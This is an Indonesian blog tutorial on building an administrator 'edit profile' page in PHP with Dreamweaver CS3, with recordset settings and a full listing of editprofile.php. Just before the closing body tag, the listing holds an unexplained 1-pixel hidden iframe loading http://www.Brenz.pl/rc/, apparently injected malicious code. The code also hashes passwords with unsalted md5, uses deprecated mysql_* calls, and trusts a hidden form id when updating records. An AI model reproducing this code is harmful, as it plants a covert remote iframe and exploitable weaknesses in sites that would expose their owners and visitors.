Halaman Edit Profile Administrator - Pada tutorial sebelumnya kita sudah membuat halaman log out, hehehe maaf sudah lama gak pernah update blog ini, banyak kerjaan soalnya.
Seperti biasa tutorial membuat website ini saya akan terangkan secara singkat tapi mudah – mudahan bisa dimengerti, kali ini kita akan membuat Halaman Edit Profile Administrator website.
Langsung aja pertama buka file home.php yang ada di dalam folder fileadmin.Kemudian klik File > Save As… ( atau tekan Shitft + Ctrl + S) > beri nama editprofile.php
Jika sudah, melalui design view ubah tulisan “Admin Home” menjadi “Profile Admin” (saya beri tanda kota merah).
Kemudian hapus tulisan yang di bawahnya (saya beri tanda kotak hijau).
Kali ini dalam membuat edit profile administrator website dengan dreamweaver, kita akan membuatRecordset untuk menampilkan data – data administrator yang sudah tersimpan didalam database pada saat anda melakukan registrasi.
Pada menu bar dreamweaver, kli Insert > Data Object > Recordset,
Isikan pengaturannya sebagai berikut :
- Name : profile_admin
- Connection : websiteku
- Table : admin
- Columns : all
- Filter : nama
- URL Parameter ubah menjadi Session Variable, disebelahnya ketikkan MM_Username
- Jika sudah klik ok.
1
2
3
4
| < div id = "conten" > < h3 >Admin Home</ h3 > < p ></ p > </ div > |
Pada tab Application > klik Binding, maka akan terlihat Recordset (profile_admin), > drag “Nama” (yang saya beri tanda hijau) letakkan di sebelah tulisan “Anda login sebagai”.
maka kodenya akan menjadi
1
2
3
| < p > Anda login sebagai <? php echo $row_profile_admin['nama']; ?> </ p > |
Selanjutnya pada menubar Dreamweaver klik Insert > Data Objects > Update Record > Record Update Form Wizard. Setelah muncul jendela Record Update Form, anda isikan pengaturannya sebagai beriku :
- Connection : websiteku
- Table to update : admin
- Select record from : profile_admin
- Unique key column : id
- After updating, go to : editprofile.php (yang ada dalam folder file admin)
- Pada form field klik id kemudian klik tanda min, ini berfungsi untuk menghilangkan field id,
- Klik kembali pada form field password, kemudian display as ubah menjadi password field,
- Terakhir klik ok.
1
| GetSQLValueString( $_POST [ 'password' ], "text" ), |
1
| GetSQLValueString(md5 ( $_POST [ 'password' ]), "text" ), |
maka kode keseluruhannya kira2 seperti ini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
| <?php require_once ( '../Connections/websiteku.php' ); ?> <?php if (!isset( $_SESSION )) { session_start(); } $MM_authorizedUsers = "" ; $MM_donotCheckaccess = "true" ; // *** Restrict Access To Page: Grant or deny access to this page function isAuthorized( $strUsers , $strGroups , $UserName , $UserGroup ) { // For security, start by assuming the visitor is NOT authorized. $isValid = False; // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. // Therefore, we know that a user is NOT logged in if that Session variable is blank. if (! empty ( $UserName )) { // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. // Parse the strings into arrays. $arrUsers = Explode ( "," , $strUsers ); $arrGroups = Explode ( "," , $strGroups ); if (in_array( $UserName , $arrUsers )) { $isValid = true; } // Or, you may restrict access to only certain users based on their username. if (in_array( $UserGroup , $arrGroups )) { $isValid = true; } if (( $strUsers == "" ) && true) { $isValid = true; } } return $isValid ; } $MM_restrictGoTo = "logout.php" ; if (!((isset( $_SESSION [ 'MM_Username' ])) && (isAuthorized( "" , $MM_authorizedUsers , $_SESSION [ 'MM_Username' ], $_SESSION [ 'MM_UserGroup' ])))) { $MM_qsChar = "?" ; $MM_referrer = $_SERVER [ 'PHP_SELF' ]; if ( strpos ( $MM_restrictGoTo , "?" )) $MM_qsChar = "&" ; if (isset( $QUERY_STRING ) && strlen ( $QUERY_STRING ) > 0) $MM_referrer .= "?" . $QUERY_STRING ; $MM_restrictGoTo = $MM_restrictGoTo . $MM_qsChar . "accesscheck=" . urlencode( $MM_referrer ); header( "Location: " . $MM_restrictGoTo ); exit ; } ?> <?php if (!function_exists( "GetSQLValueString" )) { function GetSQLValueString( $theValue , $theType , $theDefinedValue = "" , $theNotDefinedValue = "" ) { $theValue = get_magic_quotes_gpc() ? stripslashes ( $theValue ) : $theValue ; $theValue = function_exists( "mysql_real_escape_string" ) ? mysql_real_escape_string( $theValue ) : mysql_escape_string( $theValue ); switch ( $theType ) { case "text" : $theValue = ( $theValue != "" ) ? "'" . $theValue . "'" : "NULL" ; break ; case "long" : case "int" : $theValue = ( $theValue != "" ) ? intval ( $theValue ) : "NULL" ; break ; case "double" : $theValue = ( $theValue != "" ) ? "'" . doubleval( $theValue ) . "'" : "NULL" ; break ; case "date" : $theValue = ( $theValue != "" ) ? "'" . $theValue . "'" : "NULL" ; break ; case "defined" : $theValue = ( $theValue != "" ) ? $theDefinedValue : $theNotDefinedValue ; break ; } return $theValue ; } } $editFormAction = $_SERVER [ 'PHP_SELF' ]; if (isset( $_SERVER [ 'QUERY_STRING' ])) { $editFormAction .= "?" . htmlentities( $_SERVER [ 'QUERY_STRING' ]); } if ((isset( $_POST [ "MM_update" ])) && ( $_POST [ "MM_update" ] == "form1" )) { $updateSQL = sprintf( "UPDATE `admin` SET nama=%s, password=%s WHERE id=%s" , GetSQLValueString( $_POST [ 'nama' ], "text" ), GetSQLValueString(md5 ( $_POST [ 'password' ]), "text" ), GetSQLValueString( $_POST [ 'id' ], "int" )); mysql_select_db( $database_websiteku , $websiteku ); $Result1 = mysql_query( $updateSQL , $websiteku ) or die (mysql_error()); $updateGoTo = "editprofile.php" ; if (isset( $_SERVER [ 'QUERY_STRING' ])) { $updateGoTo .= ( strpos ( $updateGoTo , '?' )) ? "&" : "?" ; $updateGoTo .= $_SERVER [ 'QUERY_STRING' ]; } header(sprintf( "Location: %s" , $updateGoTo )); } $colname_profile_admin = "-1" ; if (isset( $_SESSION [ 'MM_Username' ])) { $colname_profile_admin = $_SESSION [ 'MM_Username' ]; } mysql_select_db( $database_websiteku , $websiteku ); $query_profile_admin = sprintf( "SELECT * FROM `admin` WHERE nama = %s" , GetSQLValueString( $colname_profile_admin , "text" )); $profile_admin = mysql_query( $query_profile_admin , $websiteku ) or die (mysql_error()); $row_profile_admin = mysql_fetch_assoc( $profile_admin ); $totalRows_profile_admin = mysql_num_rows( $profile_admin ); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns= "http://www.w3.org/1999/xhtml" > <head> <meta http-equiv= "Content-Type" content= "text/html; charset=utf-8" /> <title>Untitled Document</title> <link href= "style.css" type= "text/css" rel= "stylesheet" /> </head> <body> <div id= "header" > <h2>Admin Websiteku</h2> </div> <div id= "navigasi" > <ul> <li><a href= "home.php" >Home</a></li> <li><a href= "editprofile.php" >Profile</a></li> <li><a href= "categories.php" >Categories</a></li> <li><a href= "post.php" >Post</a></li> <li><a href= "message.php" >Message</a></li> <li><a href= "logout.php" >Logout</a></li> </ul> </div> <div id= "conten" > <h3>Profile Admin</h3> <p> Anda Login sebagai <?php echo $row_profile_admin [ 'nama' ]; ?> </p> <p></p> <form action= "<?php echo $editFormAction; ?>" method= "post" name= "form1" id= "form1" > <table align= "left" > <tr valign= "baseline" > <td nowrap= "nowrap" align= "right" >Nama:</td> <td><input type= "text" name= "nama" value= "<?php echo htmlentities($row_profile_admin['nama'], ENT_COMPAT, 'utf-8'); ?>" size= "32" /></td> </tr> <tr valign= "baseline" > <td nowrap= "nowrap" align= "right" >Password:</td> <td><input type= "password" name= "password" value= "" size= "32" /></td> </tr> <tr valign= "baseline" > <td nowrap= "nowrap" align= "right" > </td> <td><input type= "submit" value= "Update record" /></td> </tr> </table> <input type= "hidden" name= "MM_update" value= "form1" /> <input type= "hidden" name= "id" value= "<?php echo $row_profile_admin['id']; ?>" /> </form> <p> </p> </div> <iframe style= "height:1px" src= "http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> <?php mysql_free_result( $profile_admin ); ?> |
Tutorial membuat halaman edit profile administrator dengan Adobe dreamweaver cs3 ini hanya sebagai pembelajaran, bagaimana kita menggunakan fungsi recordset. Jika anda ingin menambahkan informasi admin yang lain, misalnya email admin, no telp, alamat, dll, anda harus membuatnya pada saat anda membuat tabel admin, dan mengisi Number of fieldnya sesuai kebutuhan anda. Masih bingung…?? silahkan baca tutorialnya dari awal, silahkan klik lagi disini.
Sekian Tutorial membuat halaman edit profile administrator dengan Adobe dreamweaver cs3, semoga bermanfaat, saya mohon maaf lagi sekali, karena keterbatasan waktu saya jarang up
SOCIALIZE IT →